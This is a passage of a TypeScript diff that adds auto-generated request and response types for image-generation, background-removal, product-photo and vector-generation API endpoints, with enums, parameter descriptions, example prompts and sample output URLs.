'gpt-6-astra' + * @type string | undefined + */ + svg_model?: InputOpenaiGptImage26SunburstTextToImageSvgModelEnumKey + /** + * @description The size of the generated image. Supports preset names, explicit {width, height}, or 'auto' to let the model pick the best size. Concrete sizes must have both dimensions as multiples of 16, max edge 3840px, aspect ratio <= 3:1, total pixels between 655,360 and 8,294,400. + * @default landscape_4_3 + */ + image_size?: + | ImageSize62F6Ffe9 + | InputOpenaiGptImage26SunburstTextToImageImageSizeKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage26SunburstTextToImageBackgroundEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile7360Da05 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputOpenaiGptImage26SunburstTextToImage = { + /** + * @description The generated images. + * @example [{"file_name":"EnWrO3XWjPE0nxBDpaQrj.png","content_type":"image/png","url":"https://v3b.fal.media/files/b/0a869129/EnWrO3XWjPE0nxBDpaQrj.png","width":1024,"height":1024}] + * @type array + */ + images: ImageFile7360Da05[] +} + +export type ImageSize4Abf015B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputOpenaiGptImage2EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputOpenaiGptImage2EditOutputFormatEnumKey = + (typeof inputOpenaiGptImage2EditOutputFormatEnum)[keyof typeof inputOpenaiGptImage2EditOutputFormatEnum] + +export const inputOpenaiGptImage2EditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage2EditBackgroundEnumKey = + (typeof inputOpenaiGptImage2EditBackgroundEnum)[keyof typeof inputOpenaiGptImage2EditBackgroundEnum] + +export const inputOpenaiGptImage2EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage2EditImageSizeKey = + (typeof inputOpenaiGptImage2EditImageSize)[keyof typeof inputOpenaiGptImage2EditImageSize] + +export const inputOpenaiGptImage2EditQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputOpenaiGptImage2EditQualityEnumKey = + (typeof inputOpenaiGptImage2EditQualityEnum)[keyof typeof inputOpenaiGptImage2EditQualityEnum] + +export type InputOpenaiGptImage2Edit = { + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage2EditOutputFormatEnumKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage2EditBackgroundEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. Use 'auto' to infer from input images. + * @default auto + */ + image_size?: ImageSize4Abf015B | InputOpenaiGptImage2EditImageSizeKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description The URLs of the images to use as a reference for the generation. A maximum of 16 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8691af/9Se_1_VX1wzTjjTOpWbs9_bb39c2eb-1a41-4749-b1d0-cf134abc8bbf.png"] + * @type array + */ + image_urls: string[] + /** + * @description Mask image URL. White marks regions to edit and black marks regions to keep. + */ + mask_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example Same workers, same beam, same lunch boxes - but they're all on their phones now. One is taking a selfie. One is on a call looking annoyed. Same danger, new priorities. A hard hat has AirPods. + * @type string + */ + prompt: string + /** + * @description Quality for the generated image. Use 'auto' to let the model pick the best quality for the prompt. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage2EditQualityEnumKey +} + +export type ImageFile842E4A31 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputOpenaiGptImage2Edit = { + /** + * @description The generated images. + * @example [{"file_name":"yUt7tifLSbg1WzWWgfj2o.png","url":"https://v3b.fal.media/files/b/0a8691b0/yUt7tifLSbg1WzWWgfj2o.png","height":1024,"width":1024,"content_type":"image/png"}] + * @type array + */ + images: ImageFile842E4A31[] +} + +export const inputPixelcutBackgroundRemovalOutputFormatEnum = { + rgba: 'rgba', + alpha: 'alpha', + zip: 'zip', +} as const + +export type InputPixelcutBackgroundRemovalOutputFormatEnumKey = + (typeof inputPixelcutBackgroundRemovalOutputFormatEnum)[keyof typeof inputPixelcutBackgroundRemovalOutputFormatEnum] + +export type InputPixelcutBackgroundRemoval = { + /** + * @description When true, return result as a data URL instead of uploading to storage + * @default true + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Input image (JPEG or PNG) + * @example https://cdn3.pixelcut.app/fal/background-remover/jewelry.jpg + * @example https://cdn3.pixelcut.app/fal/background-remover/portrait.jpg + * @type string + */ + image_url: string + /** + * @description Output format + * @default 'rgba' + * @type string | undefined + */ + output_format?: InputPixelcutBackgroundRemovalOutputFormatEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageFb8D8644 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type FileA82F1239 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputPixelcutBackgroundRemoval = { + /** + * @description Result image (for rgba/alpha output formats) + * @example {"url":"https://cdn3.pixelcut.app/fal/background-remover/jewelry_result.png"} + * @example {"url":"https://cdn3.pixelcut.app/fal/background-remover/portrait_result.png"} + */ + image?: ImageFb8D8644 | null + /** + * @description Result file (for zip output format) + */ + file?: FileA82F1239 | null +} + +export type ShadowLightSourcePosition = { + /** + * @description Horizontal light position, normalized to image center (-1 to 1). Leave unset to auto-estimate the light from the image. + */ + x?: number | null + /** + * @description Vertical light position, normalized to image center (-1 to 1). Leave unset to auto-estimate the light from the image. + */ + y?: number | null + /** + * @description Height above subject (0 to 2). Leave unset to auto-estimate the light from the image. + */ + z?: number | null +} + +export type ShadowLightSource = { + /** + * @description Apparent emitter size/softness. Higher = softer penumbra. Leave unset to auto-estimate the light from the image. + */ + size?: number | null + position?: ShadowLightSourcePosition +} + +/** + * @description Params for the generative AI shadow (used when shadow.type = 'generative'). + * @type object + */ +export type GenerativeShadow = { + /** + * @description Virtual light used to synthesize the shadow. When omitted, the light direction is estimated from the image. + */ + light_source?: ShadowLightSource | null + /** + * @description Final composited shadow opacity (0–1). + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + opacity?: number +} + +/** + * @description RGB color. `RGBColor` is the FAL naming convention that renders the color-picker + * swatch. The per-field default (e.g. white for the background) is carried on each field + * below; note the playground swatch initializes to black regardless (a FAL UI quirk — it + * ignores the field-level default), but the server honors the field default. + * @type object + */ +export type RGBColor0748D964 = { + /** + * @minimum 0 + * @maximum 255 + * @type integer + */ + g: number + /** + * @minimum 0 + * @maximum 255 + * @type integer + */ + r: number + /** + * @minimum 0 + * @maximum 255 + * @type integer + */ + b: number +} + +/** + * @description Params for the deterministic drop shadow (used when shadow.type = 'drop'), + * mirroring the web editor's drop shadow (offset + blur + color + opacity). + * @type object + */ +export type DropShadow = { + /** + * @description Horizontal shadow offset strength (-100 to 100). Positive moves the shadow right, negative moves it left. 100 is the maximum offset, 10% of the canvas width. + * @minimum -100 + * @maximum 100 + * @default 50 + * @type number | undefined + */ + horizontal?: number + /** + * @description Shadow opacity (0–1). + * @minimum 0 + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + opacity?: number + /** + * @description Shadow blur strength (0 to 100). 0 is a hard-edged shadow; 100 is the softest, a radius of 5% of the smaller canvas dimension. + * @minimum 0 + * @maximum 100 + * @default 24 + * @type number | undefined + */ + blur?: number + /** + * @description Vertical shadow offset strength (-100 to 100). Positive moves the shadow down, negative moves it up. 100 is the maximum offset, 10% of the canvas height. + * @minimum -100 + * @maximum 100 + * @default 8 + * @type number | undefined + */ + vertical?: number + /** + * @description Shadow color (R/G/B). Defaults to black. + * @default {"g":0,"r":0,"b":0} + * @type object | undefined + */ + color?: RGBColor0748D964 +} + +export const shadowType = { + Generative: 'Generative', + Drop: 'Drop', +} as const + +export type ShadowTypeKey = (typeof shadowType)[keyof typeof shadowType] + +/** + * @description Shadow control: leave `type` unset for no shadow, or select 'generative' (AI) or + * 'drop' (deterministic); set its params in the matching nested object. + * @type object + */ +export type Shadow = { + /** + * @description Generative AI-shadow params (used when type is 'Generative'). + * @type object | undefined + */ + generative?: GenerativeShadow + /** + * @description Drop-shadow params (used when type is 'Drop'). + * @type object | undefined + */ + drop?: DropShadow + /** + * @description Shadow style: 'Generative' (generative AI shadow) or 'Drop' (deterministic drop shadow). Leave unset for no shadow. + */ + type?: ShadowTypeKey | null +} + +export const watermarkPositionEnum = { + top_left: 'top_left', + top_right: 'top_right', + bottom_left: 'bottom_left', + bottom_right: 'bottom_right', + center: 'center', +} as const + +export type WatermarkPositionEnumKey = + (typeof watermarkPositionEnum)[keyof typeof watermarkPositionEnum] + +/** + * @description A logo/watermark image overlaid on top of the output. + * @type object + */ +export type Watermark = { + /** + * @description Where to place the watermark. + * @default 'bottom_right' + * @example bottom_right + * @type string | undefined + */ + position?: WatermarkPositionEnumKey + /** + * @description Watermark opacity (0–1). + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + opacity?: number + /** + * @description Logo/watermark image URL. If empty, no watermark is added. + */ + image_url?: string | null + /** + * @description Watermark width as a fraction of the canvas width. + * @minimum 0.01 + * @maximum 1 + * @default 0.1 + * @example 0.1 + * @type number | undefined + */ + scale?: number + /** + * @description Inset from the edge. '%' (0–49%) of the canvas, or 'px'. + * @default '3%' + * @example 3% + * @type string | undefined + */ + margin?: string + /** + * @description Remove the watermark image's own background (via background removal) before overlaying it. + * @default false + * @type boolean | undefined + */ + remove_background?: boolean +} + +export type ImageSize75577344 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const backgroundModeEnum = { + Transparent: 'Transparent', + Color: 'Color', + Image: 'Image', +} as const + +export type BackgroundModeEnumKey = + (typeof backgroundModeEnum)[keyof typeof backgroundModeEnum] + +export const backgroundImageFitEnum = { + Cover: 'Cover', + Contain: 'Contain', + Stretch: 'Stretch', +} as const + +export type BackgroundImageFitEnumKey = + (typeof backgroundImageFitEnum)[keyof typeof backgroundImageFitEnum] + +/** + * @description Output background: a solid color, transparent, or a background image. + * @type object + */ +export type Background = { + /** + * @description 'Color' fills with `color` (white by default); 'Transparent' leaves it transparent (always PNG); 'Image' composites onto `image_url`. + * @default 'Color' + * @type string | undefined + */ + mode?: BackgroundModeEnumKey + /** + * @description How the background image fills the canvas: 'Cover' fills and crops, 'Contain' fits and letterboxes onto `color`, 'Stretch' distorts to fit. + * @default 'Cover' + * @example Cover + * @type string | undefined + */ + image_fit?: BackgroundImageFitEnumKey + /** + * @description Background image URL. Required when mode is 'Image'. + */ + image_url?: string | null + /** + * @description Solid background color (R/G/B, 0–255). Applies when mode is 'Color'. Defaults to white. + * @default {"g":255,"r":255,"b":255} + * @type object | undefined + */ + color?: RGBColor0748D964 +} + +/** + * @description Canvas margin around the product. `all` applies to every side; a per-side value + * overrides `all` for that side. Each value is '%' (0–49%) of the canvas, or 'px' (>=0px). + * @type object + */ +export type Margin = { + /** + * @description Top-side override of `all`. '%' (0–49%) or 'px' (>=0px). + */ + top?: string | null + /** + * @description Right-side override of `all`. '%' (0–49%) or 'px' (>=0px). + */ + right?: string | null + /** + * @description Bottom-side override of `all`. '%' (0–49%) or 'px' (>=0px). + */ + bottom?: string | null + /** + * @description Margin applied to all sides. '%' (0–49%) of the canvas dimension, or 'px' (>=0px). + * @default '20%' + * @example 20% + * @type string | undefined + */ + all?: string + /** + * @description Left-side override of `all`. '%' (0–49%) or 'px' (>=0px). + */ + left?: string | null +} + +export const inputPixelcutProductPhotoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputPixelcutProductPhotoImageSizeKey = + (typeof inputPixelcutProductPhotoImageSize)[keyof typeof inputPixelcutProductPhotoImageSize] + +export const inputPixelcutProductPhotoOutputFormat = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputPixelcutProductPhotoOutputFormatKey = + (typeof inputPixelcutProductPhotoOutputFormat)[keyof typeof inputPixelcutProductPhotoOutputFormat] + +export type InputPixelcutProductPhoto = { + /** + * @description URL of the product image to be processed. + * @example https://cdn3.pixelcut.app/fal/product-photos/input.png + * @type string + */ + image_url: string + /** + * @description Shadow: choose a type ('Generative'/'Drop'; unset = no shadow) and set its params. + * @example {"type":"Generative"} + * @type object | undefined + */ + shadow?: Shadow + /** + * @description Optional logo/watermark image overlaid on top of the output. Off by default; omit for no watermark. + */ + watermark?: Watermark | null + /** + * @description When true, return the result as a data URL instead of uploading to storage. + * @default true + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output canvas size. A preset (square_hd, square, portrait_4_3, portrait_16_9, landscape_4_3, landscape_16_9) or a custom {width, height}. Defaults to square_hd (1024x1024). + * @default square_hd + */ + image_size?: ImageSize75577344 | InputPixelcutProductPhotoImageSizeKey | null + /** + * @description Output background: solid color (default white), transparent, or an image. + * @example {"mode":"Color","image_fit":"Cover","color":{"g":255,"r":255,"b":255}} + * @type object | undefined + */ + background?: Background + /** + * @description The format of the resultant image (PNG or JPEG). When not set, matches the input format. JPEG cannot be combined with a transparent background. + */ + output_format?: InputPixelcutProductPhotoOutputFormatKey | null + /** + * @description Canvas margins around the product: `all` for every side plus optional per-side overrides. Defaults to 20% on all sides. + * @example {"all":"20%"} + * @type object | undefined + */ + margin?: Margin +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image73C26E5F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputPixelcutProductPhoto = { + /** + * @description Catalog-ready product photo. + * @example {"url":"https://cdn3.pixelcut.app/fal/product-photos/output.png"} + */ + image?: Image73C26E5F | null +} + +export type RGBColor241Aefd4 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize481Bc3B4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRecraftV41FlashTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRecraftV41FlashTextToImageImageSizeKey = + (typeof inputRecraftV41FlashTextToImageImageSize)[keyof typeof inputRecraftV41FlashTextToImageImageSize] + +export type InputRecraftV41FlashTextToImage = { + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor241Aefd4 | null + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor241Aefd4[] + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSize481Bc3B4 | InputRecraftV41FlashTextToImageImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @minLength 1 + * @maxLength 10000 + * @example Tilt-shift miniature effect on a real Portuguese fishing village at golden hour, colorful boats in the harbor appearing toy-like, selective focus band across the middle, saturated primary colors of blue red and yellow boats against white buildings, 90mm tilt-shift lens, the familiar made fantastical, Wes Anderson color sensibility + * @type string + */ + prompt: string +} + +export type FileE5Efeb67 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputRecraftV41FlashTextToImage = { + /** + * @example [{"content_type":"image/webp","file_size":272628,"file_name":"image.webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/standard-output.webp"}] + * @type array + */ + images: FileE5Efeb67[] +} + +export type RGBColorE746Bc1A = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export type ImageSize66B677Ba = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRecraftV4StyleProTextToImageStyleMatch = { + precise: 'precise', + flexible: 'flexible', +} as const + +export type InputRecraftV4StyleProTextToImageStyleMatchKey = + (typeof inputRecraftV4StyleProTextToImageStyleMatch)[keyof typeof inputRecraftV4StyleProTextToImageStyleMatch] + +export const inputRecraftV4StyleProTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRecraftV4StyleProTextToImageImageSizeKey = + (typeof inputRecraftV4StyleProTextToImageImageSize)[keyof typeof inputRecraftV4StyleProTextToImageImageSize] + +export type InputRecraftV4StyleProTextToImage = { + /** + * @minLength 1 + * @maxLength 10000 + * @example Crash zoom frozen at the moment of impact as a kingfisher breaks the surface of a pond + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the style reference images. Supports PNG, JPG, and WEBP; provide between 1 and 10 images. + */ + image_urls?: string[] | null + /** + * @description Override how closely the generation follows the custom style. + */ + style_match?: InputRecraftV4StyleProTextToImageStyleMatchKey | null + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColorE746Bc1A[] + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSize66B677Ba | InputRecraftV4StyleProTextToImageImageSizeKey + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColorE746Bc1A | null + /** + * @description The ID of an existing V4 custom style. + */ + style_id?: string | null +} + +export type File1C6B8F49 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputRecraftV4StyleProTextToImage = { + /** + * @example [{"file_name":"image.webp","file_size":1949504,"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/pro-output.webp"}] + * @type array + */ + images: File1C6B8F49[] + /** + * @description The custom style used or created for this generation. + */ + style_id?: string | null +} + +export type RGBColor368Bee98 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export type ImageSizeAd8E0D38 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRecraftV4StyleProTextToVectorStyleMatch = { + precise: 'precise', + flexible: 'flexible', +} as const + +export type InputRecraftV4StyleProTextToVectorStyleMatchKey = + (typeof inputRecraftV4StyleProTextToVectorStyleMatch)[keyof typeof inputRecraftV4StyleProTextToVectorStyleMatch] + +export const inputRecraftV4StyleProTextToVectorImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRecraftV4StyleProTextToVectorImageSizeKey = + (typeof inputRecraftV4StyleProTextToVectorImageSize)[keyof typeof inputRecraftV4StyleProTextToVectorImageSize] + +export type InputRecraftV4StyleProTextToVector = { + /** + * @minLength 1 + * @maxLength 10000 + * @example a cute character panda with cool clothes, 3d flat color, design + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the style reference images. Supports PNG, JPG, and WEBP; provide between 1 and 10 images. + */ + image_urls?: string[] | null + /** + * @description Override how closely the generation follows the custom style. + */ + style_match?: InputRecraftV4StyleProTextToVectorStyleMatchKey | null + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor368Bee98[] + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: + | ImageSizeAd8E0D38 + | InputRecraftV4StyleProTextToVectorImageSizeKey + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor368Bee98 | null + /** + * @description The ID of an existing V4 custom style. + */ + style_id?: string | null +} + +export type FileFafbf9C1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputRecraftV4StyleProTextToVector = { + /** + * @example [{"file_name":"image.svg","file_size":1818794,"content_type":"image/svg+xml","url":"https://v3b.fal.media/files/b/0a8ee4de/lmXuapOPV309mE533swE0_image.svg"}] + * @type array + */ + images: FileFafbf9C1[] + /** + * @description The custom style used or created for this generation. + */ + style_id?: string | null +} + +export type RGBColor1458B72E = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export type ImageSizeC0697C8E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRecraftV4StyleTextToImageStyleMatch = { + precise: 'precise', + flexible: 'flexible', +} as const + +export type InputRecraftV4StyleTextToImageStyleMatchKey = + (typeof inputRecraftV4StyleTextToImageStyleMatch)[keyof typeof inputRecraftV4StyleTextToImageStyleMatch] + +export const inputRecraftV4StyleTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRecraftV4StyleTextToImageImageSizeKey = + (typeof inputRecraftV4StyleTextToImageImageSize)[keyof typeof inputRecraftV4StyleTextToImageImageSize] + +export type InputRecraftV4StyleTextToImage = { + /** + * @minLength 1 + * @maxLength 10000 + * @example Tilt-shift miniature effect on a real Portuguese fishing village at golden hour, colorful boats in the harbor appearing toy-like, selective focus band across the middle, saturated primary colors of blue red and yellow boats against white buildings, 90mm tilt-shift lens, the familiar made fantastical, Wes Anderson color sensibility + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the style reference images. Supports PNG, JPG, and WEBP; provide between 1 and 10 images. + */ + image_urls?: string[] | null + /** + * @description Override how closely the generation follows the custom style. + */ + style_match?: InputRecraftV4StyleTextToImageStyleMatchKey | null + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor1458B72E[] + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: ImageSizeC0697C8E | InputRecraftV4StyleTextToImageImageSizeKey + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor1458B72E | null + /** + * @description The ID of an existing V4 custom style. + */ + style_id?: string | null +} + +export type File3B095Cc9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputRecraftV4StyleTextToImage = { + /** + * @example [{"file_name":"image.webp","file_size":272628,"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/standard-output.webp"}] + * @type array + */ + images: File3B095Cc9[] + /** + * @description The custom style used or created for this generation. + */ + style_id?: string | null +} + +export type RGBColorC1C3F8Cc = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export type ImageSize7F8C14Ac = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputRecraftV4StyleTextToVectorStyleMatch = { + precise: 'precise', + flexible: 'flexible', +} as const + +export type InputRecraftV4StyleTextToVectorStyleMatchKey = + (typeof inputRecraftV4StyleTextToVectorStyleMatch)[keyof typeof inputRecraftV4StyleTextToVectorStyleMatch] + +export const inputRecraftV4StyleTextToVectorImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputRecraftV4StyleTextToVectorImageSizeKey = + (typeof inputRecraftV4StyleTextToVectorImageSize)[keyof typeof inputRecraftV4StyleTextToVectorImageSize] + +export type InputRecraftV4StyleTextToVector = { + /** + * @minLength 1 + * @maxLength 10000 + * @example a cute character fox with cool clothes, 3d flat color, design + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URLs of the style reference images. Supports PNG, JPG, and WEBP; provide 